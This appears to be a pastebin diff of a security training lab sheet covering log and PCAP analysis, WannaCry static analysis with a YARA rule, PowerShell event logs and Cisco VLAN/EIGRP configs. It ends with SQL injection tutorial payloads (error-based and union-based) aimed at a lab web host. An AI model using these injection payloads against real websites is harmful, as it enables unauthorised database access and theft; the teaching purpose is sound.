View difference between Paste ID: GnLxQJXT and qPWZuyzz

 #########################
 # Connect to the server #
 #########################
 
 Use Putty to SSH into my Ubuntu host in order to perform the lab tasks below.
 
 You can download Putty from here:
 http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
 
 
-New server IP:		45.77.13.200
+server ip:		45.63.116.164
-protocol:		    ssh
+protocol:           	ssh
-port:			    22
+port:               	22
-username:		    linuxclass
+username:		ciscosecurity
-password:
+password:
 
 
 
 ##############################################
 # Log Analysis with Linux command-line tools #
 ##############################################
 The following command line executables are found in the Mac as well as most Linux Distributions.
 
 cat –  prints the content of a file in the terminal window
 grep – searches and filters based on patterns
 awk –  can sort each row into fields and display only what is needed
 sed –  performs find and replace functions
 sort – arranges output in an order
 uniq – compares adjacent lines and can report, filter or provide a count of duplicates
 
 
 ##############
 # Cisco Logs #
 ##############
 
 AWK Basics
 ----------
 To quickly demonstrate the print feature in awk, we can instruct it to show only the 5th word of each line. Here we will print $5. Only the last 4 lines are being shown for brevity.
 
 -----------------------------Type this-----------------------------------------
 cat cisco.log | awk '{print $5}' | tail -n 4
 -------------------------------------------------------------------------------
 
 
 
 Looking at a large file would still produce a large amount of output. A more useful thing to do might be to output every entry found in “$5”, group them together, count them, then sort them from the greatest to least number of occurrences. This can be done by piping the output through “sort“, using “uniq -c” to count the like entries, then using “sort -rn” to sort it in reverse order.
 
 -----------------------------Type this-----------------------------------------
 cat cisco.log | awk '{print $5}'| sort | uniq -c | sort -rn
 -------------------------------------------------------------------------------
 
 
 
 While that’s sort of cool, it is obvious that we have some garbage in our output. Evidently we have a few lines that aren’t conforming to the output we expect to see in $5. We can insert grep to filter the file prior to feeding it to awk. This insures that we are at least looking at lines of text that contain “facility-level-mnemonic”.
 
 -----------------------------Type this-----------------------------------------
 cat cisco.log | grep %[a-zA-Z]*-[0-9]-[a-zA-Z]* | awk '{print $5}' | sort | uniq -c | sort -rn
 -------------------------------------------------------------------------------
 
 
 
 
 Now that the output is cleaned up a bit, it is a good time to investigate some of the entries that appear most often. One way to see all occurrences is to use grep.
 
 -----------------------------Type this-----------------------------------------
 cat cisco.log | grep %LINEPROTO-5-UPDOWN:
 
 cat cisco.log | grep %LINEPROTO-5-UPDOWN:| awk '{print $10}' | sort | uniq -c | sort -rn
 
 cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10}' | sort | uniq -c | sort -rn
 
 cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10 " changed to " $14}' | sort | uniq -c | sort -rn
 --------------------------------------------------------------------------------
 
 
 
 
 
 
 
 ################
 # The Scenario #
 ################
 You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
 
 
 The fastest thing you can do is perform static analysis.
 
 
 
 ###################
 # Static Analysis #
 ###################
 
 - After logging please open a terminal window and type the following commands:
 
 
 ---------------------------Type This-----------------------------------
 
 file wannacry.exe
 
 hexdump -n 2 -C wannacry.exe
 
 ----------------------------------------------------------------------
 
 
 
 In a browser...go to: http://www.garykessler.net/library/file_sigs.html
 
 ***What is '4d 5a' or 'MZ'***
 
 
 
 
 
 ---------------------------Type This-----------------------------------
 objdump -x wannacry.exe
 
 strings wannacry.exe
 
 strings wannacry.exe | grep -i dll
 
 strings wannacry.exe | grep -i library
 
 strings wannacry.exe | grep -i reg
 
 strings wannacry.exe | grep -i key
 
 strings wannacry.exe | grep -i rsa
 
 strings wannacry.exe | grep -i open
 
 strings wannacry.exe | grep -i get
 
 strings wannacry.exe | grep -i mutex
 
 strings wannacry.exe | grep -i irc
 
 strings wannacry.exe | grep -i join
 
 strings wannacry.exe | grep -i admin
 
 strings wannacry.exe | grep -i list
 ----------------------------------------------------------------------
 
 
 
 
 
 
 
 Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
 
 Quick Google search for "wannacry ransomeware analysis"
 
 
 Reference
 https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
 
 - Yara Rule -
 
 
 Strings:
 $s1 = “Ooops, your files have been encrypted!” wide ascii nocase
 $s2 = “Wanna Decryptor” wide ascii nocase
 $s3 = “.wcry” wide ascii nocase
 $s4 = “WANNACRY” wide ascii nocase
 $s5 = “WANACRY!” wide ascii nocase
 $s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
 
 
 
 
 
 
 
 
 Ok, let's look for the individual strings
 
 
 ---------------------------Type This-----------------------------------
 strings wannacry.exe | grep -i ooops
 
 strings wannacry.exe | grep -i wanna
 
 strings wannacry.exe | grep -i wcry
 
 strings wannacry.exe | grep -i wannacry
 
 strings wannacry.exe | grep -i wanacry          **** Matches $s5, hmmm.....
 ----------------------------------------------------------------------
 
 
 
 
 ##################################################################
 # Analyzing a PCAP Prads                                         #
 # Note: run as regular user                                      #
 ##################################################################
 
 ---------------------------Type this as a regular user----------------------------------
 cd /home/ciscosecurity/pcap_analysis
 
 prads -r suspicious-time.pcap -l prads-asset.log
 
 cat prads-asset.log | less
 
-####################################
+
-# Tired of GREP - let's try Python #
+
-####################################
+
-Decided to make my own script for this kind of stuff in the future. I
+
 cat prads-asset.log | grep SERVER | grep -iE 'apache|linux|ubuntu|nginx|iis'
-Reference1:
+
-http://45.63.104.73/analyse_malware.py
+
 
-This is a really good script for the basics of static analysis
+
 
 ##################################
-https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
+
 # Note: run as regular user      #
 ##################################
-This is really good for showing some good signatures to add to the Python script
+
 cd /home/ciscosecurity/pcap_analysis
 
-Here is my own script using the signatures (started this yesterday, but still needs work):
+
-https://pastebin.com/guxzCBmP
+
 cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"
 
 cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr
 
 
-cat am.py | less
+
 
-python2.7 am.py wannacry.exe
+
 ------------------------------------------------------------------------
 
 
 
 
 
 
 
 
 #############################
 # PCAP Analysis with tshark #
 # Note: run as regular user #
 #############################
 ---------------------------Type this as a regular user---------------------------------
 cd /home/ciscosecurity/pcap_analysis
 
 tshark -i ens3 -r suspicious-time.pcap -qz io,phs
 
 tshark -r suspicious-time.pcap -qz ip_hosts,tree
 
 tshark -r suspicious-time.pcap -Y "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq
 
 tshark -r suspicious-time.pcap -Y "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name"
 
 
 tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'
 
 whois rapidshare.com.eyu32.ru
 
 whois sploitme.com.cn
 
 tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org'
 
 tshark -r suspicious-time.pcap -qz http_req,tree
 
 tshark -r suspicious-time.pcap -Y "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst
 
 tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico'  | grep 10.0.3.15 | sed -e 's/\?[^cse].*/\?\.\.\./g'
 ------------------------------------------------------------------------
 
-------------------------------------------------------------------------
+
 
 #####################
 # Powershell Basics #
 #####################
 
 PowerShell is Microsoft's new scripting language that has been built in since the release Vista.
 
 PowerShell file extension end in .ps1 .
 
 An important note is that you cannot double click on a PowerShell script to execute it.
 
 To open a PowerShell command prompt either hit Windows Key + R and type in PowerShell or Start -> All Programs -> Accessories -> Windows PowerShell -> Windows PowerShell.
 
 ------------------------Type This------------------------------
 cd c:\
 dir
 cd
 ls
 ---------------------------------------------------------------
 
 
 To obtain a list of cmdlets, use the Get-Command cmdlet
 ------------------------Type This------------------------------
 Get-Command
 ---------------------------------------------------------------
 
 
 You can use the Get-Alias cmdlet to see a full list of aliased commands.
 ------------------------Type This------------------------------
 Get-Alias
 ---------------------------------------------------------------
 
 
 Don't worry you won't blow up your machine with Powershell
 ------------------------Type This------------------------------
 Get-Process | stop-process              Don't press [ ENTER ] What will this command do?
 Get-Process | stop-process -whatif
 ---------------------------------------------------------------
 
 To get help with a cmdlet, use the Get-Help cmdlet along with the cmdlet you want information about.
 ------------------------Type This------------------------------
 Get-Help Get-Command
 
 Get-Help Get-Service –online
 
 Get-Service -Name TermService, Spooler
 
 Get-Service –N BITS
 ---------------------------------------------------------------
 
 
 
 
 
 - Run cmdlet through a pie and refer to its properties as $_
 ------------------------Type This------------------------------
 Get-Service | where-object {  $_.Status -eq "Running"}
 ---------------------------------------------------------------
 
 
 
 - PowerShell variables begin with the $ symbol. First lets create a variable
 ------------------------Type This------------------------------
 $serv = Get-Service –N Spooler
 ---------------------------------------------------------------
 
 To see the value of a variable you can just call it in the terminal.
 ------------------------Type This------------------------------
 $serv
 
 $serv.gettype().fullname
 ---------------------------------------------------------------
 
 
 Get-Member is another extremely useful cmdlet that will enumerate the available methods and properties of an object. You can pipe the object to Get-Member or pass it in
 ------------------------Type This------------------------------
 $serv | Get-Member
 
 Get-Member -InputObject $serv
 ---------------------------------------------------------------
 
 
 
 
 Let's use a method and a property with our object.
 ------------------------Type This------------------------------
 $serv.Status
 $serv.Stop()
 $serv.Refresh()
 $serv.Status
 $serv.Start()
 $serv.Refresh()
 $serv.Status
 ---------------------------------------------------------------
 
 
 If you want some good command-line shortcuts you can check out the following link:
 https://technet.microsoft.com/en-us/library/ff678293.aspx
 
 #############################
 # Simple Event Log Analysis #
 #############################
 Let's setup a directory to work in:
 ------------------------Type This------------------------------
 cd c:\
 
 mkdir ps
 
 cd ps
 ---------------------------------------------------------------
 
 Step 1: Dump the event logs
 ---------------------------
 The first thing to do is to dump them into a format that facilitates later processing with Windows PowerShell.
 
 To dump the event log, you can use the Get-EventLog and the Exportto-Clixml cmdlets if you are working with a traditional event log such as the Security, Application, or System event logs.
 If you need to work with one of the trace logs, use the Get-WinEvent and the ExportTo-Clixml cmdlets.
 ------------------------Type This------------------------------
 Get-EventLog -LogName application | Export-Clixml Applog.xml
 
 type .\Applog.xml
 
 $logs = "system","application","security"
 ---------------------------------------------------------------
 
 
 The % symbol is an alias for the Foreach-Object cmdlet. It is often used when working interactively from the Windows PowerShell console
 ------------------------Type This------------------------------
 $logs | % { get-eventlog -LogName $_ | Export-Clixml "$_.xml" }
 ---------------------------------------------------------------
 
 
 
 
 Step 2: Import the event log of interest
 ----------------------------------------
 To parse the event logs, use the Import-Clixml cmdlet to read the stored XML files.
 Store the results in a variable.
 Let's take a look at the commandlets Where-Object, Group-Object, and Select-Object.
 
 The following two commands first read the exported security log contents into a variable named $seclog, and then the five oldest entries are obtained.
 ------------------------Type This------------------------------
 $seclog = Import-Clixml security.xml
 
 $seclog | select -Last 5
 ---------------------------------------------------------------
 
 Cool trick from one of our students named Adam. This command allows you to look at the logs for the last 24 hours:
 ------------------------Type This------------------------------
 Get-EventLog Application -After (Get-Date).AddDays(-1)
 ---------------------------------------------------------------
 You can use '-after' and '-before' to filter date ranges
 
 One thing you must keep in mind is that once you export the security log to XML, it is no longer protected by anything more than the NFTS and share permissions that are assigned to the location where you store everything.
 By default, an ordinary user does not have permission to read the security log.
 
 
 
 
 Step 3: Drill into a specific entry
 -----------------------------------
 To view the entire contents of a specific event log entry, choose that entry, send the results to the Format-List cmdlet, and choose all of the properties.
 
 ------------------------Type This------------------------------
 $seclog | select -first 1 | fl *
 ---------------------------------------------------------------
 
 The message property contains the SID, account name, user domain, and privileges that are assigned for the new login.
 
 ------------------------Type This------------------------------
 ($seclog | select -first 1).message
 
 (($seclog | select -first 1).message).gettype()
 ---------------------------------------------------------------
 
 
 In the *nix world you often want a count of something (wc -l).
 How often is the SeSecurityPrivilege privilege mentioned in the message property?
 To obtain this information, pipe the contents of the security log to a Where-Object to filter the events, and then send the results to the Measure-Object cmdlet to determine the number of events:
 ------------------------Type This------------------------------
 $seclog | ? { $_.message -match 'SeSecurityPrivilege'} | measure
 ---------------------------------------------------------------
 If you want to ensure that only event log entries return that contain SeSecurityPrivilege in their text, use Group-Object to gather the matches by the EventID property.
 
 ------------------------Type This------------------------------
 $seclog | ? { $_.message -match 'SeSecurityPrivilege'} | group eventid
 ---------------------------------------------------------------
 
 Because importing the event log into a variable from the stored XML results in a collection of event log entries, it means that the count property is also present.
 Use the count property to determine the total number of entries in the event log.
 ------------------------Type This------------------------------
 $seclog.Count
 ---------------------------------------------------------------
 
 
 
 
 
 ############################
 # Simple Log File Analysis #
 ############################
 
 
 You'll need to create the directory c:\ps and download sample iss log http://pastebin.com/raw.php?i=LBn64cyA
 
 ------------------------Type This------------------------------
 cd c:\ps
 (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")
 (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=ysnhXxTV", "c:\ps\CiscoLogFileExamples.txt")
 Select-String 192.168.208.63 .\CiscoLogFileExamples.txt
 ---------------------------------------------------------------
 
 
 
 The Select-String cmdlet searches for text and text patterns in input strings and files. You can use it like Grep in UNIX and Findstr in Windows.
 ------------------------Type This------------------------------
 Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line
 ---------------------------------------------------------------
 
 
 
 To see how many connections are made when analyzing a single host, the output from that can be piped to another command: Measure-Object.
 ------------------------Type This------------------------------
 Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line | Measure-Object
 ---------------------------------------------------------------
 
 
 To select all IP addresses in the file expand the matches property, select the value, get unique values and measure the output.
 ------------------------Type This------------------------------
 Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique | Measure-Object
 ---------------------------------------------------------------
 
 
 Removing Measure-Object shows all the individual IPs instead of just the count of the IP addresses. The Measure-Object command counts the IP addresses.
 ------------------------Type This------------------------------
 Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique
 ---------------------------------------------------------------
 
 In order to determine which IP addresses have the most communication the last commands are removed to determine the value of the matches. Then the group command is issued on the piped output to group all the IP addresses (value), and then sort the objects by using the alias for Sort-Object: sort count –des.
 This sorts the IP addresses in a descending pattern as well as count and deliver the output to the shell.
 ------------------------Type This------------------------------
 Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select value | group value | sort count -des
 ---------------------------------------------------------------
 
 
 
 #########################
 # Introduction to VLANs #
 #########################
 https://www.net-refresh.com/switching1.html
 
 
 1. Configure Host_Red1 to be an access port in VLAN 10
 2. Configure Host_Red2 to be an access port in VLAN 10
 3. Configure Host_Blue1 to be an access port in VLAN 20
 4. Configure Host_Blue2 to be an access port in VLAN 20
 
 
 -----Type these commands on switch 1----
 enable
 configure terminal
     vlan 10
       name Red_Vlan
     interface f0/1
       switchport mode access
       switchport access vlan 10
     interface f0/2
       switchport mode access
       switchport access vlan 10
     interface f0/3
       switchport mode access
       switchport access vlan 20
     interface f0/4
       switchport mode access
       switchport access vlan 20
 ----------------------------------------
 
 Testing the configuration
 
 In order to test your configuration, try setting static IP addresses on the host PCs, and check which PCs can communicate. Set the host IP addresses to 192.168.0.1, 192.168.0.2, 192.168.0.3, and 192.168.0.4 respectively, with a subnet mask of 255.255.255.0. Note that having two VLANs using a single subnet is not something you will do in a real network, and is only done here to demonstrate the VLANs are separated.
 
 If you have configured the switch correctly you will find that the although the Red hosts can ping each other, they are unable to ping the Blue hosts.
 
 
 
 References used for this lab:
 * VLANs: https://www.net-refresh.com/articles/vlans1.html
 
 
 
 
 #######################
 # InterVlan Routing 1 #
 #######################
 https://www.net-refresh.com/switching2.html
 
 1. Assign 'Host_Red1' to vlan 10, and force to an access port.
 2. Assign 'Host_Red2' to vlan 10, and force to an access port.
 3. Assign 'Host_Blue1' to vlan 20, and force to an access port.
 4. Assign 'Host_Blue2' to vlan 20, and force to an access port.
 5. Assign Switch1 f0/10 to vlan 10, and force to an access port.
 6. Assign Switch1 f0/11 to vlan 20, and force to an access port.
 7. Set the IP address of Router1's f0/0 interface to the last usable address in the 10.0.0.0/24 subnet, and ensure the port is up.
 8. Set the IP address of Router1'a f0/1 interface to the last usable address in the 10.1.0.0/24 subnet, and ensure the port is up.
 9. On Switch1, create VLAN interface 10, and assign it the IP address 10.0.0.2/24.
 
 
 
 
 -----Type these commands on switch 1----
 enable
 configure terminal
     vlan 10
       name Red_Vlan
     interface f0/1
       switchport mode access
       switchport access vlan 10
     interface f0/2
       switchport mode access
       switchport access vlan 10
     interface f0/10
       switchport mode access
       switchport access vlan 10
     interface f0/3
       switchport mode access
       switchport access vlan 20
     interface f0/4
       switchport mode access
       switchport access vlan 20
     interface f0/11
       switchport mode access
       switchport access vlan 20
     interface vlan 10
       ip address 10.0.0.2 255.255.255.0
 
 ----------------------------------------
 
 
 -----Type these commands on router 1----
 enable
 configure terminal
    interface f0/0
      ip address 10.0.0.254 255.255.255.0
      no shutdown
    interface f0/1
      ip address 10.1.0.254 255.255.255.0
      no shutdown
      exit
 ----------------------------------------
 
 
 Hopefully you completed that without too much difficulty! Each VLAN now has a port connected to the Router, so it should now be possible for a Red host to ping a Blue host. Go ahead and configure the host PCs with suitable IP addresses in their subnet. You will need to set the default gateway as well. Remember the default-gateway is the address that packets will be sent to if the host has no better route.
 
 
 
 References used for this lab:
 * VLANs: https://www.net-refresh.com/articles/vlans1.html
 * how to assign static IP on a switch: https://learningnetwork.cisco.com/thread/14861
 
 
 
 ########################################################
 # Intervlan Routing using trunking (Router on a stick) #
 ########################################################
 https://www.net-refresh.com/switching3.html
 
 1. Assign 'Host_Red1' to vlan 10, and force to an access port
 2. Assign 'Host_Red2' to vlan 10, and force to an access port
 3. Assign 'Host_Blue1' to vlan 20, and force to an access port
 4. Assign 'Host_Blue2' to vlan 20, and force to an access port
 5. Configure Switch1's f0/10 interface so it operates as a dot1q trunk
 6. Configure a sub-interface on Router1, f0/0.10. This sub-interface should receive frames with the dot1q tag 10.
     Assign this the last usable IP address in the 10.0.0.32/27 subnet
 7. Configure a sub-interface on Router1, f0/0.20. This sub-interface should receive frames with the dot1q tag 20.
     Assign this the last usable IP address in the 20.0.0.128/26 subnet
 8. On Switch1, create vlan interface 10, assign it the first usable IP address in the 10.0.0.32/27 subnet
 9. Configure the correct default gateway on Switch1
 
 
 
 -----Type these commands on switch 1----
 enable
 configure terminal
     vlan 10
       name Red_Vlan
     interface f0/1
       switchport mode access
       switchport access vlan 10
     interface f0/2
       switchport mode access
       switchport access vlan 10
     interface f0/3
       switchport mode access
       switchport access vlan 20
     interface f0/4
       switchport mode access
       switchport access vlan 20
     interface f0/10
       switchport mode trunk
     interface f0/11
       switchport mode access
       switchport access vlan 20
     interface vlan 10
       ip address 10.0.0.33 255.255.255.224
 	  exit
     ip default-gateway 10.0.0.62
 
 ----------------------------------------
 
 
 -----Type these commands on router 1----
 enable
 configure terminal
    interface f0/0
      no shutdown
    interface f0/0.10
      encapsulation dot1q 10
      ip address 10.0.0.62 255.255.255.224
      no shutdown
    interface f0/0.20
      encapsulation dot1q 20
      ip address 20.0.0.190 255.255.255.192
      no shutdown
      exit
 ----------------------------------------
 
 
 
 References used for this lab:
 * VLANs: https://www.net-refresh.com/articles/vlans1.html
 * how to assign static IP on a switch: https://learningnetwork.cisco.com/thread/14861
 * Trunk port: https://networklessons.com/switching/how-to-configure-trunk-on-cisco-catalyst-switch
 * Subinterface: https://learningnetwork.cisco.com/thread/14587
 * last useable IP: https://www.aelius.com/njh/subnet_sheet.html
 * default gateway on a switch: https://learningnetwork.cisco.com/thread/22283
 
 
 
 ##############################################
 # Interswitch trunks with Inter-Vlan routing #
 ##############################################
 https://www.net-refresh.com/switching4.html
 
 
 1. Configure Switch1's f0/10 interface so it operates as a trunk
 2. Configure Switch1's f0/11 interface so it dynamically negotiates and operates as a dot1q trunk
 3. Configure Switch2's f0/11 interface so it dynamically negotiates and operates as a dot1q trunk
 4. Assign 'Host_Red1' to vlan 10, and force to an access port
 5. Assign 'Host_Red2' to vlan 10, and force to an access port
 6. Assign 'Host_Blue1' to vlan 20, and force to an access port
 7. Assign 'Host_Blue2' to vlan 20, and force to an access port
 8. Create a sub-interface on Router1, f0/0.10. This sub-interface should receive frames with dot1q tag 10. Assign this the last usable IP address in the 172.16.0.0/22 subnet
 9. Create a sub-interface on Router1, f0/0.20. This sub-interface should receive frames with dot1q tag 20. Assign this the last usable IP address in the 172.16.4.0/26 subnet.
 10. On Switch1, create vlan interface 10, and assign it the first usable address in the 172.16.0.0/22 subnet
 11. Configure the correct default gateway on Switch1
 
 
 -----Type these commands on switch 1----
 enable
 configure terminal
     interface f0/10
       switchport mode trunk
       switchport trunk encapsulation dot1q
     vlan 10
       name Red_Vlan
     interface f0/1
       switchport mode access
       switchport access vlan 10
     interface f0/2
       switchport mode access
       switchport access vlan 10
     vlan 20
       name Blue_Vlan
     interface f0/3
       switchport mode access
       switchport access vlan 20
     interface f0/4
       switchport mode access
       switchport access vlan 20
     interface vlan 10
       ip address 172.16.0.1 255.255.252.0
 ----------------------------------------
 
 
 -----Type these commands on switch 2----
 enable
 configure terminal
     interface f0/11
       switchport mode trunk
       switchport trunk encapsulation dot1q
 ----------------------------------------
 
 
 -----Type these commands on router 1----
 enable
 configure terminal
    interface f0/0
      no shutdown
    interface f0/0.10
      encapsulation dot1q 10
      ip address 172.16.3.254 255.255.252.0
      no shutdown
    interface f0/0.20
      encapsulation dot1q 20
      ip address 172.16.4.62 255.255.255.192
      no shutdown
      exit
 ----------------------------------------
 
 
 
 References used for this lab:
 * VLANs: https://www.net-refresh.com/articles/vlans1.html
 * how to assign static IP on a switch: https://learningnetwork.cisco.com/thread/14861
 * Trunk port: https://networklessons.com/switching/how-to-configure-trunk-on-cisco-catalyst-switch
 * Subinterface: https://learningnetwork.cisco.com/thread/14587
 * last useable IP: https://www.aelius.com/njh/subnet_sheet.html
 * default gateway on a switch: https://learningnetwork.cisco.com/thread/22283
 
 
 
 
 #############################################
 # Configuring Static Routes between Routers #
 #############################################
 https://www.net-refresh.com/routing1.html
 
 
 
 
 
 
 
 ##################################################
 # Configuring the EIGRP dynamic routing protocol #
 ##################################################
 https://www.net-refresh.com/routing3.html
 
 1. On Router1 configure the following interfaces with IP addresses:
 ? f0/0 with IP address 10.0.0.1/24
 ? s0/0 with IP address 1.0.0.1/30
 ? s0/1 with IP address 2.0.0.1/30
 
 -----Type these commands on router 1----
 enable
 configure terminal
    interface f0/0
      ip address 10.0.0.1 255.255.255.0
      no shutdown
    interface s0/0
      ip address 1.0.0.1 255.255.255.252
      no shutdown
    interface s0/1
      ip address 2.0.0.1 255.255.255.252
      no shutdown
 ----------------------------------------
 
 
 2. On Router2 configure the following interfaces with IP addresses:
 ? f0/0 with IP address 20.0.0.1/24
 ? f0/1 with IP address 4.0.0.1/30
 ? s0/0 with IP address 1.0.0.2/30
 ? s0/1 with IP address 3.0.0.1/30
 
 -----Type these commands on router 2----
 enable
 configure terminal
    interface f0/0
      ip address 20.0.0.1 255.255.255.0
      no shutdown
    interface f0/1
      ip address 4.0.0.1 255.255.255.252
      no shutdown
    interface s0/0
      ip address 1.0.0.2 255.255.255.252
      no shutdown
    interface s0/1
      ip address 3.0.0.1 255.255.255.252
      no shutdown
 ----------------------------------------
 
 3. On Router3 configure the following interfaces with IP addresses:
 ? f0/0 with IP address 30.0.0.1/24
 ? s0/0 with IP address 3.0.0.2/30
 ? s0/1 with IP address 2.0.0.2/30
 
 
 -----Type these commands on router 3----
 enable
 configure terminal
    interface f0/0
      ip address 30.0.0.1 255.255.255.0
      no shutdown
    interface s0/0
      ip address 3.0.0.2 255.255.255.252
      no shutdown
    interface s0/1
      ip address 2.0.0.2 255.255.255.252
      no shutdown
 ----------------------------------------
 
 4. On Router4 configure the following interfaces with IP addresses:
 ? f0/0 with IP address 40.0.0.1/24
 ? f0/1 with IP address 4.0.0.2/30
 
 
 -----Type these commands on router 4----
 enable
 configure terminal
    interface f0/0
      ip address 40.0.0.1 255.255.255.0
      no shutdown
    interface f0/1
      ip address 4.0.0.2 255.255.255.252
      no shutdown
 ----------------------------------------
 
 5. On Router1 configure EIGRP to achieve the following requirements:
 ? Autonomous system 10
 ? Auto route summarization disabled
 ? All attached networks should be advertised
 ? No EIGRP routing updates should be sent towards Host1
 
 -----Type these commands on router 1----
 enable
 configure terminal
    router eigrp 10
      no auto-summary
      network 1.0.0.0 0.0.0.3
      network 2.0.0.0 0.0.0.3
      exit
 ----------------------------------------
 
 
 6. On Router2 configure EIGRP to achieve the following requirements:
  ?Autonomous system 10
 ? Auto route summarization disabled
 ? All attached networks should be advertised
 ? No EIGRP routing updates should be sent towards Host2
 
 -----Type these commands on router 2----
 enable
 configure terminal
    router eigrp 10
      no auto-summary
      network 4.0.0.0 0.0.0.3
      network 1.0.0.0 0.0.0.3
      network 3.0.0.0 0.0.0.3
      exit
 ----------------------------------------
 
 7. On Router3 configure EIGRP to achieve the following requirements:
 ?Autonomous system 10
 ? Auto route summarization disabled
 ? All attached networks should be advertised
 ? No EIGRP routing updates should be sent towards Host3
 
 -----Type these commands on router 1----
 enable
 configure terminal
    router eigrp 10
      no auto-summary
      network 3.0.0.0 0.0.0.3
      network 2.0.0.0 0.0.0.3
      exit
 ----------------------------------------
 
 8. On Router4 configure EIGRP to achieve the following requirements:
 ?Autonomous system 10
 ? Auto route summarization disabled
 ? All attached networks should be advertised
 ? No EIGRP routing updates should be sent towards Host4
 
 -----Type these commands on router 1----
 enable
 configure terminal
    router eigrp 10
      no auto-summary
      network 4.0.0.0 0.0.0.3
      exit
 ----------------------------------------
 
 
 
 ##################################
 # Basic: Web Application Testing #
 ##################################
 
 Most people are going to tell you reference the OWASP Testing guide.
 https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
 
 I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
 
 
 The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
 
     1. Does the website talk to a DB?
         - Look for parameter passing (ex: site.com/page.php?id=4)
         - If yes - try SQL Injection
 
     2. Can I or someone else see what I type?
         - If yes - try XSS
 
     3. Does the page reference a file?
         - If yes - try LFI/RFI
 
 Let's start with some manual testing against 45.77.162.239
 
 
 Start here:
 ---------------------------Paste this into Firefox-----------------------------------
 http://45.77.162.239/
 -----------------------------------------------------------------------
 
 Let's try throwing a single quote (') in there:
 ---------------------------Paste this into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=2'
 -------------------------------------------------------------------------------------
 
 I get the following error:
 
 Unclosed quotation mark after the character string ''.
 Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
 
 Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
 
 
 
 
 
 
 
 
 
 
 #########################################################################################
 # SQL Injection                                                                         #
 # https://s3.amazonaws.com/infosecaddictsfiles/1-Intro_To_SQL_Intection.pptx            #
 #########################################################################################
 
 
 - Another quick way to test for SQLI is to remove the parameter value
 
 
 #############################
 # Error-Based SQL Injection #
 #############################
 ---------------------------Paste these one line at a time into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))--     NOTE: "N" - just means to keep going until you run out of databases
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
 ---------------------------------------------------------------------------------------------------------
 
 
 
 
 
 #############################
 # Union-Based SQL Injection #
 #############################
 ---------------------------Paste these one line at a time into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
 http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
 ---------------------------------------------------------------------------------------------------------
 
     We are using a union select statement because we are joining the developer's query with one of our own.
     Reference:
     http://www.techonthenet.com/sql/union.php
